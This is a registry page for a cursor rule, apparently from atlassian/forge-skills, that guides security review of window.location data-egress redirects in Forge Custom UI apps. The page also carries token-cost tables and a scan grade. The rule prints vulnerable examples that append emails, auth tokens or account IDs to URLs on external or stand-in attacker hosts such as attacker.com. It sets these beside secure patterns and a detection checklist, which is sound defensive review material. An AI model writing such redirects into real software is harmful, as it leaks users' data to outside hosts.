Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/atlassian/forge-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/rules/atlassian/forge-skills/data-egress-redirects)<a href="https://agentmods.dev/rules/atlassian/forge-skills/data-egress-redirects"><img src="https://agentmods.dev/badge/rules/atlassian/forge-skills/data-egress-redirects.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00012 | $0.01111 |
| Opus 5 | $0.00006 | $0.00556 |
| Sonnet 5 | $0.00002 | $0.00222 |
| Haiku 4.5 | $0.00001 | $0.00111 |
Grade A, and why
data-egress-redirects scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 165 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Context
- Forge Custom UI apps can redirect users via
window.locationwith sensitive data appended to URLs. No browser CSP directive currently prevents this. - Related CWE: CWE-201 (Insertion of Sensitive Information Into Sent Data).
- Reference: Internal VULN Guide to window.location data egress.
Scope & Signals
- Location:
static/directory in Forge apps (Custom UI iframe content). - Redirect patterns to check:
window.location = urlwindow.location.href = urlwindow.location.assign(url)window.location.replace(url)document.location,self.location,locationvariants
- Data egress vectors:
- Query parameters:
?userData=${sensitiveData} - Subdomains:
${userData}.attacker.com - Path segments:
/exfil/${userData}
- Query parameters:
Vulnerable Patterns
// VULNERABLE - User data in query parameters
const userData = await getUserData();
window.location = `https://external-site.com/callback?data=${userData.email}`;
// VULNERABLE - Building URL with sensitive context
const issueData = await fetchIssueDetails();
window.location.href = `https://analytics.example.com/track?issue=${issueData.key}&user=${issueData.reporter}`;
// VULNERABLE - Redirect to undeclared domain
window.location = 'https://not-in-manifest.com/page';
// VULNERABLE - Dynamic URL construction
const baseUrl = payload.redirectUrl; // Attacker-controlled
const token = await getAuthToken();
window.location.assign(`${baseUrl}?token=${token}`);
// VULNERABLE - Data in subdomain
const userId = context.accountId;
window.location = `https://${userId}.tracking.attacker.com/`;
Secure Patterns
// SECURE - Static redirect to declared domain, no sensitive params
window.location = 'https://docs.example.com/help';
// SECURE - Validate redirect URL against allowlist
const ALLOWED_REDIRECTS = [
'https://app.example.com/callback',
'https://auth.example.com/complete'
];
function safeRedirect(url) {
if (!ALLOWED_REDIRECTS.includes(url)) {
throw new Error('Invalid redirect URL');
}
window.location = url;
}
// SECURE - Use Forge navigation instead of raw redirect
import { router } from '@forge/bridge';
async function navigateToPage() {
await router.navigate('/admin/settings');
}
// SECURE - No sensitive data in URL
window.location = 'https://external.example.com/page';
// Sensitive data sent via POST body instead
Detection Checklist
- Search
static/directory forwindow.location,location.href, etc. - Extract URL values from redirect assignments.
- Check if URLs contain template literals with variables.
- Verify redirect domains are declared in manifest permissions.
- Assess what data is included in URL parameters.
- Look for dynamic URL construction from untrusted sources.
Data Flow Analysis
// Trace data flow to redirects:
// 1. Identify the redirect statement
window.location.href = fullUrl;
// 2. Find variable assignments
const fullUrl = base + "://" + domain + "?" + params;
// 3. Trace each component
const base = "https"; // Static - OK
const domain = "api.example.com"; // Static - OK
const params = `userId=${context.accountId}`; // Sensitive data!
// 4. Verify domain is in manifest
// 5. Assess sensitivity of params
False Positive Indicators
// Local navigation (same origin)
window.location = '/settings';
window.location.href = './page.html';
// Static URLs without parameters
window.location = 'https://help.example.com';
// Shadowed location variable (not global)
function handler() {
const location = { href: '' }; // Local variable
location.href = 'value'; // Not a redirect
}
Manifest Cross-Reference
# Check redirects against manifest:
permissions:
external:
fetch:
client:
- 'api.example.com'
# Redirect to api.example.com - OK (if no sensitive data)
# Redirect to other.example.com - VIOLATION (undeclared)
PoC / Test Leads
- Intercept redirect and analyze URL parameters for sensitive data.
- Verify redirect domains match manifest declarations.
- Test with different user contexts to see what data is exfiltrated.
- Check network logs for outbound requests to unexpected domains.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 165 lines · 12 tokens per session scan A 6bcdfa0996f3
data-egress-redirects is a cursor rule published in the GitHub repository atlassian/forge-skills (21 stars, last pushed yesterday), licensed Apache-2.0. It adds 12 tokens to every session and 1,111 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other cursor rules, from other repositories
ponytail
Ponytail, lazy senior dev mode. Always pick the simplest solution that works.
angular-20
This rule provides comprehensive best practices and coding standards for Angular development, focusing on modern TypeScript, standalone components, signals, and performance optimizations.
dev-standard
Apache Superset development standards and guidelines for Cursor IDE.
cli-error-handling
CLI command error handling patterns.
prefer-assertions-over-defensive-checks
Prefer assertions over defensive checks when data is guaranteed to be valid.
prefer-direct-imports-over-module-mocks
Prefer extracting a testable core over vi.mock / vi.resetModules when unit tests need to reach production logic entangled with config, env, or singletons.